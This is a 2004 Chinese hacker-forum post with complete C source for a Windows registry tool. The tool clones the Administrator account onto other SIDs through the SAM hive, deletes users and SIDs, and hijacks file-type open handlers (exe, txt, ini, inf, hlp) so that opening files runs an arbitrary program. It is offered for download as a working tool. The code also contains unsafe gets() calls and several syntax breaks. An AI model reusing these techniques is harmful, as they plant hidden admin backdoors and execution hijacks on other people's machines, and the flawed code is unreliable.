快速通道

文档分类
- 红盟公告
- 新手上路
- 漏洞分析
- 工具介绍
- 安全配置
- **编程技术 <=**
- 安全技术
- 业界动态

本类热门
- 初探数据包分析程序设计
- 杀毒软件的简单实现
- readasm的使用范例
- 半开扫描程序
- 注册表操作（RingZ_RgeEdit）
- proftpd 1.2.7/1.2.9rc2 remote root exploit

注册表操作（RingZ_RgeEdit）

提交文章： dahubaobao
提交日期： 2004-06-07
文章属性： 原创
文档类别： 编程技术
相关下载： **=>下载<=**
浏览次数： 今8次/总5358次

代码：注册表操作（RingZ_RgeEdit） RingZ_CDUser的扩展版本
作者：dahubaobao
主页：http://www.ringz.org
邮件：dahushibaobao@vip.sina.com
QQ：382690
EXE在压缩包中，解压密码：www.ringz.org
http://dahubaobao.go.nease.net/RingZ_RgeEdit.rar
欢迎进入环形区，一群技术狂热者的社区，www.ringz.org欢迎你的加入！
注：转载请著名出处，谢谢！
==========

```
#include "Functions.h"

int main (int argc, char *argv[])
{
char SID[10],C_Sid[10],USER[20];
char *K_Sid="1F4";
char *K_User="Administrator";
int n;

for (n=1;n<argc;n++)
{
if (argv[n][0]=='-'||argv[n][0]=='/')
{
switch(argv[n][1])
{
case '?':
case 'h':
case 'H':Usage();
break;

case 'l':
case 'L':ListUser();
break;

case 'f':
case 'F':Main_Correlation();
break;

case 'e':
case 'E':EX_Correlation();
break;
```

```
case 'c':
case 'C':printf("Please Input Clone SID:");
gets(C_Sid);
if (strlen(C_Sid)<=10&&strcmp(C_Sid,K_Sid)!=0)
Clone(C_Sid);
else
{
printf("Error\n");
exit(0);
}
break;

case 's':
case 'S':printf("Please Input Delete SID:");
gets(SID);
if (strlen(SID)<=10&&strcmp(SID,K_Sid)!=0)
Sid(SID);
else
{
printf("Error\n");
exit(0);
}
break;

case 'u':
case 'U':printf("Please Input Delete USER:");
gets(USER);
if (strlen(USER)<=20&&strcmp(USER,K_User)!=0)
User(USER);
else
{
printf("Error\n");
exit(0);
}
break;

default:Usage();
}
}
}
return 0;
}

int Main_Correlation (void)
{
int r_count;

C_Usage();
r_count=Correlation();

while (r_count!=EXIT)
{
C_Usage();
r_count=Correlation();
}
printf("File Correlation End\n");
return 0;
}

int Correlation (void)
{
char TXT_file[50],EXE_file[50],HLP_file[50],INF_file[50],INI_file[50];
char E_Key[20],Key[20],D_Value[20],Value[50];
int count;

while (scanf("%d",&count)==1)
{
if (count==LOW||count>EXIT)
{
C_Usage();
continue;
```

```
}

if (count==EXIT)
{
printf("ByeBye!\n");
break;
}

while (getchar()!='\n')
continue;

switch(count)
{
case 1:printf("Correlation TXT:");
gets(TXT_file);
if (strlen(TXT_file)<=50)
TXT_Correlation(TXT_file);
else
{
printf("Error\n");
exit(0);
}
break;

case 2:printf("Correlation EXE:");
gets(EXE_file);
if (strlen(EXE_file)<=50)
EXE_Correlation(EXE_file);
else
{
printf("Error\n");
exit(0);
}
break;

case 3:printf("Correlation HLP:");
gets(HLP_file);
if (strlen(HLP_file)<=50)
HLP_Correlation(HLP_file);
else
{
printf("Error\n");
exit(0);
}
break;

case 4:printf("Correlation INF:");
gets(INF_file);
if (strlen(INF_file)<=50)
INF_Correlation(INF_file);
else
{
printf("Error\n");
exit(0);
}
break;

case 5:printf("Correlation INI:");
gets(INI_file);
if (strlen(INI_file)<=50)
INI_Correlation(INI_file);
else
{
printf("Error\n");
exit(0);
}
break;

case 6:printf("Setting Correlation\n");
printf("Please Input E_KeyName(E_Key):");
if (!(strlen(gets(E_Key))<=20))
{
```

```
printf("Error\n");
exit(0);
}
printf("Please Input KeyName(Key):");
if (!(strlen(gets(Key))<=20))
{
printf("Error\n");
exit(0);
}
printf("Please Input D_KeyValue(D_Value):");
if (!(strlen(gets(D_Value))<=20))
{
printf("Error\n");
exit(0);
}
printf("Please Input KeyValue(Value):");
if (strlen(gets(Value))<=50)
DIY_Correlation(E_Key,Key,D_Value,Value);
else
{
printf("Error\n");
exit(0);
}
}

}

while (getchar()!='\n')
continue;
return count;
}

void TXT_Correlation (char *TXTFile)
{
HKEY hkey;
DWORD szData=100,ret=0;
char *key="txtfile\\shell\\open\\command\\";

ret=RegCreateKey(HKEY_CLASSES_ROOT,key,&hkey);
//在指定的项下创建一个新项。如指定的项已经存在，那么函数会打开现有的项
//hKey Long，要打开项的句柄，或者一个标准项名
//lpSubKey String，欲创建的新子项。可同时创建多个项，只需用反斜杠将它们分隔开即可
//例如level1\level2\newkey。如果指定""，则为默认值。
//phkResult Long，指定一个变量，用于装载新子项的句柄

if (!ret==ERROR_SUCCESS)
{
printf("Reg Create FAIL\n");
exit(0);
}

ret=RegSetValueEx(hkey,"",0,REG_EXPAND_SZ,TXTFile,szData);

if (ret==ERROR_SUCCESS)
printf("TXT_File Correlation Success\n");
else
{
printf("TXT_File Correlation FAIL\n");
exit(0);
}

RegCloseKey(hkey);
}

void EXE_Correlation (char *EXEFile)
{
HKEY hkey;
DWORD szData=100,ret=0;
char *key="exefile\\shell\\open\\command\\";

ret=RegCreateKey(HKEY_CLASSES_ROOT,key,&hkey);
```

```
if (!ret==ERROR_SUCCESS)
{
printf("Reg Create FAIL\n");
exit(0);
}

ret=RegSetValueEx(hkey,"",0,REG_SZ,EXEFile,szData);

if (ret==ERROR_SUCCESS)
printf("EXE_File Correlation Success\n");
else
{
printf("EXE_File Correlation FAIL\n");
exit(0);
}

RegCloseKey(hkey);
}

void INF_Correlation (char *INFFile)
{
HKEY hkey;
DWORD szData=100,ret=0;
char *key="inffile\\shell\\open\\command\\";

ret=RegCreateKey(HKEY_CLASSES_ROOT,key,&hkey);

if (!ret==ERROR_SUCCESS)
{
printf("Reg Create FAIL\n");
exit(0);
}

ret=RegSetValueEx(hkey,"",0,REG_EXPAND_SZ,INFFile,szData);

if (ret==ERROR_SUCCESS)
printf("INF_File Correlation Success\n");
else
{
printf("INF_File Correlation FAIL\n");
exit(0);
}

RegCloseKey(hkey);
}

void INI_Correlation (char *INIFile)
{
HKEY hkey;
DWORD szData=100,ret=0;
char *key="inifile\\shell\\open\\command\\";

ret=RegCreateKey(HKEY_CLASSES_ROOT,key,&hkey);

if (!ret==ERROR_SUCCESS)
{
printf("Reg Create FAIL\n");
exit(0);
}

ret=RegSetValueEx(hkey,"",0,REG_EXPAND_SZ,INIFile,szData);

if (ret==ERROR_SUCCESS)
printf("INI_File Correlation Success\n");
else
{
printf("INI_File Correlation FAIL\n");
exit(0);
}

RegCloseKey(hkey);
}
```

```
void HLP_Correlation (char *HLPFile)
{
HKEY hkey;
DWORD szData=100,ret=0;
char *key="helpfile\\shell\\open\\command\\";

ret=RegCreateKey(HKEY_CLASSES_ROOT,key,&hkey);

if (!ret==ERROR_SUCCESS)
{
printf("Reg Create FAIL\n");
exit(0);
}

ret=RegSetValueEx(hkey,"",0,REG_SZ,HLPFile,szData);

if (ret==ERROR_SUCCESS)
printf("HLP_File Correlation Success\n");
else
{
printf("HLP_File Correlation FAIL\n");
exit(0);
}

RegCloseKey(hkey);
}

int DIY_Correlation(
char *E_KeyName,char *KeyName,char *D_KeyValue,char *KeyValue)
{
HKEY hkey;
DWORD szData=100,ret=0;
char Key[50];
ZeroMemory(Key,50);

ret=RegCreateKey(HKEY_CLASSES_ROOT,E_KeyName,&hkey);

if (!ret==ERROR_SUCCESS)
{
printf("One:Reg Create FAIL\n");
exit(0);
}

ret=RegSetValueEx(hkey,"",0,REG_SZ,KeyName,szData);

if (ret==ERROR_SUCCESS)
printf("One:Setting RegKey Success\n");
else
{
printf("One:Setting RegKey FAIL\n");
exit(0);
}

ret=RegCreateKey(HKEY_CLASSES_ROOT,KeyName,&hkey);

if (!ret==ERROR_SUCCESS)
{
printf("Two:Reg Create FAIL\n");
exit(0);
}

ret=RegSetValueEx(hkey,"",0,REG_SZ,D_KeyValue,szData);

if (ret==ERROR_SUCCESS)
printf("Two:Setting RegKeyValue Success\n");
else
{
printf("Two:Setting RegKeyValue FAIL\n");
exit(0);
}
```

```
strcpy(Key,KeyName);
strcat(Key,"\\shell\\open\\command\\");

ret=RegCreateKey(HKEY_CLASSES_ROOT,Key,&hkey);

if (!ret==ERROR_SUCCESS)
{
printf("Three:Reg Create FAIL\n");
exit(0);
}

ret=RegSetValueEx(hkey,"",0,REG_SZ,KeyValue,szData);

if (ret==ERROR_SUCCESS)
printf("Three:Setting RegKeyValue Success\n");
else
{
printf("Three:Setting RegKeyValue FAIL\n");
exit(0);
}

RegCloseKey(hkey);
}

void Sid (char *sid)
{
HKEY hkey;
DWORD ret;
char C_sid[10];

ZeroMemory(C_sid,10);
strcpy(C_sid,"00000"); //填充SID中的前5位
strcat(C_sid,sid); //传递剩余3位，并继续填充

//打开注册表，成功返回值0（SUCCESS）
ret=RegOpenKey(HKEY_LOCAL_MACHINE, //根键名或已打开项的句柄
"SAM\\SAM\\Domains\\Account\\Users\\", //要打开的项名
&hkey); //装载打开项的句柄

if (!ret==ERROR_SUCCESS)
{
printf("Reg Open FAIL\n");
exit(0);
}

//删除SID，成功返回值0（SUCCESS）
ret=RegDeleteKey(hkey,C_sid);

if (ret==ERROR_SUCCESS)
printf("Success Delete Key (SID)\n"); //打印成功消息
else
{
printf("Delete Key FAIL (SID)\n"); //打印失败消息
exit(0);
}

RegCloseKey(hkey); //关闭以打开的注册表项

}

void User (char *user)
{
HKEY hkey;
DWORD ret;
char C_user[40];

ZeroMemory(C_user,40);
strcpy(C_user,"");
strcat(C_user,user);

ret=RegOpenKey(HKEY_LOCAL_MACHINE,
"SAM\\SAM\\Domains\\Account\\Users\\Names\\",
```

```
&hkey);

if (!ret==ERROR_SUCCESS)
{
printf("Reg Open FAIL\n");
exit(0);
}

ret=RegDeleteKey(hkey,C_user);

if (ret==ERROR_SUCCESS)
printf("Success Delete Key (USER)\n");
else
{
printf("Delete Key FAIL (USER)\n");
exit(0);
}

RegCloseKey(hkey);

}

void OpenKey (char *key)
{
HKEY hkey;
DWORD dwIndex=0,lpcbname=100,ret=0;
char T_name[100],Buffer[100];
FILETIME lpftlast;
int i=0;

ZeroMemory(Buffer,100);
ZeroMemory(T_name,100);
ZeroMemory(name,1500);

RegOpenKeyEx(HKEY_LOCAL_MACHINE, //根键名或已打开项的句柄
key, //传递一个参数，欲打开的注册表项
0, //未用，设为0即可
KEY_ALL_ACCESS, //带有前缀KEY_??的一个或多个常数。
//它们的组合描述了允许对这个项进行哪些操作
&hkey);

for(i=0;ret==ERROR_SUCCESS;i++,dwIndex++)
{
ret=RegEnumKeyEx(hkey,dwIndex,T_name,&lpcbname,
NULL,NULL,NULL,&lpftlast);
//dwIndex：欲获取的子项的索引。第一个子项的索引编号为零
//T_name：用于装载指定索引处项名的一个缓冲区
//&lpcbname：指定一个变量，用于装载lpName缓冲区的实际长度（包括空字符）。
//一旦返回，它会设为实际装载到lpName缓冲区的字符数量
//NULL：未用，设为零
//NULL：项使用的类名
//NULL：用于装载lpClass缓冲区长度的一个变量
//&lpftlast：FILETIME，枚举子项上一次修改的时间

strcat(name[i],T_name);
ZeroMemory(T_name,100);
lpcbname=100;
}

RegCloseKey(hkey);

//拼接用户名
for(KeyN=0;KeyN<i;KeyN++)
{
strcat(Buffer,name[KeyN]);
strcat(Buffer,"\n\r");
}
}

int ViewUser (char *key)
{
HKEY hkey;
```

```
DWORD lpType=0,ret;
char S_name[10];


ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
key,
0,
KEY_ALL_ACCESS,
&hkey);

if(!ret==ERROR_SUCCESS)
{
printf("Reg Open FAIL\n");
exit(0);
}

RegQueryValueEx(hkey,NULL,NULL,
&lpType,NULL,NULL);
//NULL：要获取值的名字
//NULL：未用，设为零
//&lpType：用于装载取回数据类型的一个变量
//NULL：用于装载指定值的一个缓冲区
//NULL：用于装载lpData缓冲区长度的一个变量

wsprintf(S_name,"%X\n\r",lpType);
printf("%s",S_name);

return 1;
}

int ListUser (void)
{
int n;
char Buffer[70]="SAM\\SAM\\Domains\\Account\\Users\\Names\\";
char Temp[40]={'\0'};

OpenKey("SAM\\SAM\\Domains\\Account\\Users\\Names");

for(n=0;n<KeyN;n++)
{
strcat(Buffer,name[n]);
wsprintf(Temp,name[n]);
strcat(Temp,"===>");
printf("%s",Temp);
ViewUser(Buffer);
strcpy(Buffer,"SAM\\SAM\\Domains\\Account\\Users\\Names\\");
}
return 1;
}

int Clone(char *C_sid)
{
HKEY hkey,C_hkey;
DWORD Type=REG_BINARY,SizeF=1024*2,SizeV=1024*10,ret;
char CloneSid[100];
LPBYTE lpDataF,lpDataV;

lpDataF = (LPBYTE) malloc(1024*2);
lpDataV = (LPBYTE) malloc(1024*10);

ZeroMemory(lpDataF,1024*2);
ZeroMemory(lpDataV,1024*10);
ZeroMemory(CloneSid,100);

strcpy(CloneSid,"SAM\\SAM\\Domains\\Account\\Users\\00000");
strcat(CloneSid,C_sid);

ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SAM\\SAM\\Domains\\Account\\Users\\000001F4",
0,
KEY_ALL_ACCESS,
&hkey);
```

```
if(!ret==ERROR_SUCCESS)
{
printf("Reg Open FAIL\n");
exit(0);
}

ret=RegQueryValueEx(hkey,"F",NULL,
&Type,lpDataF,&SizeF);

if(!ret==ERROR_SUCCESS)
{
printf("Reg Query Value FAIL\n");
exit(0);
}

ret=RegQueryValueEx(hkey,"V",NULL,
&Type,lpDataV,&SizeV);

if(!ret==ERROR_SUCCESS)
{
printf("Reg Query Value FAIL\n");
exit(0);
}

ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
CloneSid,
0,
KEY_ALL_ACCESS,
&C_hkey);

if(!ret==ERROR_SUCCESS)
{
printf("Reg Open FAIL\n");
exit(0);
}

ret=RegSetValueEx(C_hkey,"F",0,
REG_BINARY,
lpDataF,
SizeF);
//C_hkey:根键名或已打开项的句柄
//“F”：要设置值的名字
//0：未用，设为零
//REG_BINARY：要设置的数量类型
//lpDataF：包含数据的缓冲区中的第一个字节
//SizeF：lpData缓冲区的长度

if(!ret==ERROR_SUCCESS)
{
printf("Reg Set Vaule FAIL\n");
exit(0);
}

ret=RegSetValueEx(C_hkey,"V",0,
REG_BINARY,
lpDataV,
SizeV);

if(ret==ERROR_SUCCESS)
printf("Clone User Success\n");
else
{
printf("Clone User FAIL\n");
exit(0);
}

RegCloseKey(hkey);
RegCloseKey(C_hkey);

return 1;
}
```

```
void C_Usage (void)
{
fprintf(stderr,"*********************************************************************************\n"
"Please Input 1 or 5 Select file correlation,Select 6 \"DIY\" file correlation\n"
"1)TXT\t\t\t2)EXE\t\t\t3)HLP\n"
"4)INF\t\t\t5)INI\t\t\t6)DIY\n"
"7)Quit\n"
"*********************************************************************************\n");
}

void EX_Correlation (void)
{
printf("DIY example：\n\n");
fprintf(stderr,"C:\>RingZ_RgeEdit.exe -E\n"
"*********************************************************************************\n"
"Please Input 1 or 5 Select file correlation,Select 6 \"DIY\" file correlation\n"
"1)TXT\t\t\t2)EXE\t\t\t3)HLP\n"
"4)INF\t\t\t5)INI\t\t\t6)DIY\n"
"7)Quit\n"
"*********************************************************************************\n"
"6\n"
"Setting Correlation\n"
"Please Input E_KeyName(E_Key):\".dahu\"\n"
"Please Input KeyName(Key):\"dahubaobao\"\n"
"Please Input D_KeyValue(D_Value):\"dahufile\"\n"
"Please Input KeyValue(Value):\"%%systemroot%%\\system32\\dahubaobao.exe %%1\"\n
"One:Setting RegKey Success\n"
"Two:Setting RegKeyValue Success\n"
"Three:Setting RegKeyValue Success\n"
"......\n");
}

void Usage (void)
{
fprintf
(stderr,"=================================================================
"\t 注册表操作\n"
"\t包含：删除/克隆任意用户，文件关联(可以自定义)。有时间会继续加入更多功能\n"
"\t环境：Win2K Adv Server + Dev C++ 4.9.8.0\n"
"\t作者：dahubaobao\n"
"\t主页：www.RingZ.org\;n"
"\tOICQ：382690\n"
"\t邮件：382690@qq.com\n"
"\t声明：本帖由环行区（RingZ）原创，转载请注明出处，谢谢！\n\n"
"\t使用方法：\n"
"\t\"-H\"：帮助信息\n"
"\t\"-L\"：列出系统中用户对应的SID\n"
"\t\"-C\"：克隆帐户，输入SID即可\n"
"\t\"-S\"：删除SID\n"
"\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\n"
"\t\"-U\"：删除用户名\n"
"\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\n
"\t\"-F\"：文件关联。可以关联TXT、EXE、HLP、INF、INI，并且可以自定义文件关联\n"
"\t\"-E\"：一个自定义文件关联的例子，并有两幅插图\n\n"
"\t注意事项：\n"
"\t由于SID的前5位都是\"0\"，所以不必输入，直接输入最后三位\n"
"\t例如：000001F5，则直接输入1F5，即可将Guest帐户删除\n"
"\t使用Regedt32将SAM键修改为Administrator可以访问\n"
"\t使用-C参数后，会弹出\"Clone SID：\"提示符，只需输入相应的SID即可克隆\n"
"\t使用-S参数后，会弹出\"Delete SID：\"提示符，只需输入相应的SID即可删除\n"
"\t使用-U参数后，会弹出\"Delete USER：\"提示符，只需输入相应的用户名即可删除\n"
"\t使用-F参数后，会弹出一个菜单，1-6为文件关联选项，7为退出。假如选择1，则\n"
"\t弹出\"Correlation TXT:\"提示符,只需输入相应的程序即可完成文件关联，例如:\n"
"\t\"%%systemroot%%\\system32\\dahubaobao.exe %%1\",其他关联方法依次类推\n"
"\t本程序只是用做代码交流，对不熟悉注册表编程的朋友可以参考参考，克隆帐户只\n"
"\t是占时性，重启之后就没有了\n"
"=================================================================
}

Functions.h
```

Code:

```
#include <windows.h>
#include <string.h>
#include <stdio.h>
#define EXIT 7
#define LOW 0

char name[50][30];

void Usage (void); //帮助信息
void C_Usage (void); //文件关联菜单
void EX_Correlation (void); //自定义文件关联的例子
void Sid (char *sid); //删除安全标识符
void User (char *user); //删除用户名
void OpenKey (char *key);
void TXT_Correlation (char *TXTFile);
void EXE_Correlation (char *EXEFile);
void INF_Correlation (char *INFFile);
void INI_Correlation (char *INIFile);
void HLP_Correlation (char *HLPFile);
int ListUser (void); //显示用户名对应的安全标识符
int ViewUser (char *key);
int Clone (char *C_sid); //克隆帐户
int Correlation (void); //文件关联函数
int Main_Correlation (void); //文件关联Main函数
int DIY_Correlation(char *E_KeyName,char *KeyName,char *D_KeyValue,char *KeyValue
//自定义文件关联函数
```

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net